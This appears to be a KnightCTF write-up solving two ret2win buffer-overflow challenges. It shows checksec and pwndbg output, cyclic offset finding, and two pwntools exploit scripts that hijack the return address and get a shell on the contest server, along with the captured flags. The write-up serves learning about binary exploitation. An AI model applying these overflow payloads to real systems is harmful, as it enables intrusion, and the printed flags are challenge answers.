Skip to main content

KnightCTF

Get The Sword
#

Can you get the sword ?
Author : froghunter
Download Link - 1 : https://drive.google.com/file/d/1HsQMxiZlP5978DzqnoZs6g6QOnCzVm_G/view

Doing some basic file checks we see that the binary is a 32bit LSB executable which will really affect how we approach this challenge. The binary is also dynamically linked and not stripped.

dexter@lab:~/the-lab/knights/rev$ file get_sword    
get_sword: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=4a9b260935bf815a04350e3bb9e0e4422f504b2a, for GNU/Linux 4.4.0, not stripped

Now looking at the securities set with the binary, we see that it really is not protected. We have no canary, meaning we can perform a buffer overflow with ease. NX is also unkown which would make executing shellcode on the stack very possible. Also there is No Pie which would mean that the addresses will remain the same every time the binary is ran.

dexter@lab:~/the-lab/knights/rev$ checksec get_sword
[*] '/home/dexter/the-lab/knights/rev/get_sword'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

With that knowledge we can now fire up gdb and see how the binary works.

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049040  __libc_start_main@plt
0x08049050  printf@plt
0x08049060  fflush@plt
0x08049070  puts@plt
0x08049080  system@plt
0x08049090  __isoc99_scanf@plt
0x080490a0  _start
0x080490e0  _dl_relocate_static_pie
0x080490f0  __x86.get_pc_thunk.bx
0x080491b6  printSword
0x08049218  getSword
0x08049256  intro
0x080492c0  main
0x080492e1  __x86.get_pc_thunk.ax
0x080492e8  _fini
pwndbg> 

Interesting, according to the challenge name (get the sword) we see a function getSword, well that is an interesting function. But before we get there, let us disassemble the main function.

pwndbg> disass main
Dump of assembler code for function main:
   0x080492c0 <+0>:	push   ebp
   0x080492c1 <+1>:	mov    ebp,esp
   0x080492c3 <+3>:	and    esp,0xfffffff0
   0x080492c6 <+6>:	call   0x80492e1 <__x86.get_pc_thunk.ax>
   0x080492cb <+11>:	add    eax,0x2d29
   0x080492d0 <+16>:	call   0x80491b6 <printSword>
   0x080492d5 <+21>:	call   0x8049256 <intro>
   0x080492da <+26>:	mov    eax,0x0
   0x080492df <+31>:	leave
   0x080492e0 <+32>:	ret
End of assembler dump.

Okay so now looking at this we can see that main does not really call the function getSword. So this can confirm that it is a win function. Awesome let us now dig for our buffer which will enable us to overwrite adjacent memory.

Using cyclic to generate a pattern ..

pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> r
Starting program: /home/dexter/the-lab/knights/rev/get_sword 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
      />_________________________________
[#####[]_________________________________>
      \>
What do you want ? ?: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
You want, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616169 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────────────
*EAX  0x6f
*EBX  0x61616167 ('gaaa')
*ECX  0xffffcc8c ◂— 0x5d67b300
*EDX  0x1
*EDI  0xf7ffcba0 (_rtld_global_ro) ◂— 0x0
*ESI  0x804bef8 —▸ 0x8049180 ◂— endbr32 
*EBP  0x61616168 ('haaa')
*ESP  0xffffcd10 ◂— 'jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*EIP  0x61616169 ('iaaa')
──────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x61616169










──────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcd10 ◂— 'jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
01:0004│     0xffffcd14 ◂— 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
02:0008│     0xffffcd18 ◂— 'laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
03:000c│     0xffffcd1c ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
04:0010│     0xffffcd20 ◂— 'naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
05:0014│     0xffffcd24 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
06:0018│     0xffffcd28 ◂— 'paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
07:001c│     0xffffcd2c ◂— 'qaaaraaasaaataaauaaavaaawaaaxaaayaaa'
────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0x61616169
   1 0x6161616a
   2 0x6161616b
   3 0x6161616c
   4 0x6161616d
   5 0x6161616e
   6 0x6161616f
   7 0x61616170
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

The binary faults obviously and now we can get the offset. So now we can grab whatever was in our instruction pointer and get the offset.

pwndbg> cyclic -l iaaa
Finding cyclic pattern of 4 bytes: b'iaaa' (hex: 0x69616161)
Found at offset 32

With that we can now craft our exploit.

from pwn import *

binary = context.binary = ELF("./get_sword", checksec=False)

p = remote("173.255.201.51", 31337)

buffer = b'A' * 32

win = binary.sym.getSword

ret = p32(0x0804900e)

payload = buffer
payload += p32(win)

p.sendline(payload)
p.interactive()

Probably wondering what the elf stuff is ….

ELF: refers to the Executable and Linkable Format, which is a common file format for executables, object code, shared libraries, and even core dumps on Unix systems. It’s commonly used for programs on Linux systems.

“./get_sword”: This is the path to an ELF binary file named “get_sword.”

checksec=False: related to a tool used for analyzing the security features of an ELF binary. Setting checksec to False means that the security features of the binary are not being checked.

binary = context.binary: assign the ELF binary to a variable named binary within a context or environment.

Basically it helps to input addresess in the binary automatically, helps alot when the binary has pie enabled, no harm is done when there is No PIE.

dexter@lab:~/the-lab/knights/rev$ python3 solve.py    
[+] Opening connection to 173.255.201.51 on port 31337: Done
[*] Switching to interactive mode
      />_________________________________
[#####[]_________________________________>
      \>
What do you want ? ?: KCTF{so_you_g0t_the_sw0rd}

Win..Win..Window
#

You are a skilled hacker known for your expertise in binary exploitation. One day, you receive an anonymous message challenging your abilities. The message contains a mysterious binary file. Now you decide to analyze the file.

Attachment 1
Attachment 2
Attachment 3

Flag Format: KCTF{S0m3th1ng_h3re}

Author: Pratham Naik (YCF)

Second challenge and the title already gives you an idea that it is also a ret2win challenge.

Doing some basic file checks this time we are working with 64-bit executable. Ha! they only changed that but the solve process remains the same

dexter@lab:~/the-lab/knights/rev$ file win    
win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f5ac48d36515bfa0e2e4f62a9e57ee7510516169, for GNU/Linux 4.4.0, not stripped

Let us check the securities, and the only difference here is that NX is enabled, meaning that we cannot execute shellcode on the stack.

dexter@lab:~/the-lab/knights/rev$ checksec win      
[*] '/home/dexter/the-lab/knights/rev/win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

With that we can then step into a debugger and get more information.

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  puts@plt
0x0000000000401040  system@plt
0x0000000000401050  gets@plt
0x0000000000401060  fflush@plt
0x0000000000401070  _start
0x00000000004010a0  _dl_relocate_static_pie
0x0000000000401156  shell
0x000000000040118a  main
0x00000000004011d0  _fini

You see already where this is going. We have a function called shell which my guess does some system call.

pwndbg> disass shell
Dump of assembler code for function shell:
   0x0000000000401156 <+0>:	push   rbp
   0x0000000000401157 <+1>:	mov    rbp,rsp
   0x000000000040115a <+4>:	lea    rax,[rip+0xea7]        # 0x402008
   0x0000000000401161 <+11>:	mov    rdi,rax
   0x0000000000401164 <+14>:	call   0x401030 <puts@plt>
   0x0000000000401169 <+19>:	lea    rax,[rip+0xead]        # 0x40201d
   0x0000000000401170 <+26>:	mov    rdi,rax
   0x0000000000401173 <+29>:	call   0x401030 <puts@plt>
   0x0000000000401178 <+34>:	lea    rax,[rip+0xea7]        # 0x402026
   0x000000000040117f <+41>:	mov    rdi,rax
   0x0000000000401182 <+44>:	call   0x401040 <system@plt>
   0x0000000000401187 <+49>:	nop
   0x0000000000401188 <+50>:	pop    rbp
   0x0000000000401189 <+51>:	ret
End of assembler dump.

Oow would you look at that, how convenient.

We can then check the offset using cyclic.

pwndbg> r
Starting program: /home/dexter/the-lab/knights/rev/win 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Can u find me ? i dont think so...!
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Program received signal SIGSEGV, Segmentation fault.
0x00000000004011ce in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
*RBX  0x7fffffffdc28 —▸ 0x7fffffffdfe3 ◂— '/home/dexter/the-lab/knights/rev/win'
*RCX  0x7ffff7f9daa0 (_IO_2_1_stdin_) ◂— 0xfbad2288
 RDX  0x0
*RDI  0x7ffff7f9fa40 (_IO_stdfile_0_lock) ◂— 0x0
*RSI  0x4056b1 ◂— 'aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
*R8   0x405715 ◂— 0x0
 R9   0x0
*R10  0x1000
*R11  0x246
 R12  0x0
*R13  0x7fffffffdc38 —▸ 0x7fffffffe008 ◂— 0x5245545f5353454c ('LESS_TER')
*R14  0x403df0 —▸ 0x401120 ◂— endbr64 
*R15  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2d0 ◂— 0x0
*RBP  0x6163616161616161 ('aaaaaaca')
*RSP  0x7fffffffdb18 ◂— 'aaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
*RIP  0x4011ce (main+68) ◂— ret 
─────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4011ce <main+68>    ret    <0x6164616161616161>










──────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdb18 ◂— 'aaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
01:0008│     0x7fffffffdb20 ◂— 'aaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
02:0010│     0x7fffffffdb28 ◂— 'aaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
03:0018│     0x7fffffffdb30 ◂— 'aaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
04:0020│     0x7fffffffdb38 ◂— 'aaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
05:0028│     0x7fffffffdb40 ◂— 'aaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
06:0030│     0x7fffffffdb48 ◂— 'aaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
07:0038│     0x7fffffffdb50 ◂— 'aaaaaakaaaaaaalaaaaaaamaaa'
────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0         0x4011ce main+68
   1 0x6164616161616161
   2 0x6165616161616161
   3 0x6166616161616161
   4 0x6167616161616161
   5 0x6168616161616161
   6 0x6169616161616161
   7 0x616a616161616161
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

This time we are going to pick the pattern that was stored in rbp and then we are going to add 8 bytes in order to be able to write adjacent memory from the stack pointer.

pwndbg> cyclic -l aaaaaaca
Finding cyclic pattern of 8 bytes: b'aaaaaaca' (hex: 0x6161616161616361)
Found at offset 10

This would bring our offset to 18. Ideally we also need to check for a ret gadget since By overwriting the return address on the stack with the address of a ret gadget, we can control where the program execution will continue. And we want the flow to our win (shell) function.

With that we can craft our payload

from pwn import *

binary = context.binary = ELF("./win", checksec=False)

# p = process()
p = remote("173.255.201.51", 3337)

buffer = b'A' * 18
win = p64(0x0401156)
ret = p64(0x040101a)

payload = buffer
payload += ret
payload += win

p.sendline(payload)
p.interactive()

Noice……

dexter@lab:~/the-lab/knights/rev$ python3 solve_win.py 
[+] Opening connection to 173.255.201.51 on port 3337: Done
[*] Switching to interactive mode
Can u find me ? i dont think so...!
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ ls
flag.txt
win
ynetd
$ cat flag.txt
KCTF{r3T_7o_W1n_iS_V3rRY_3AsY}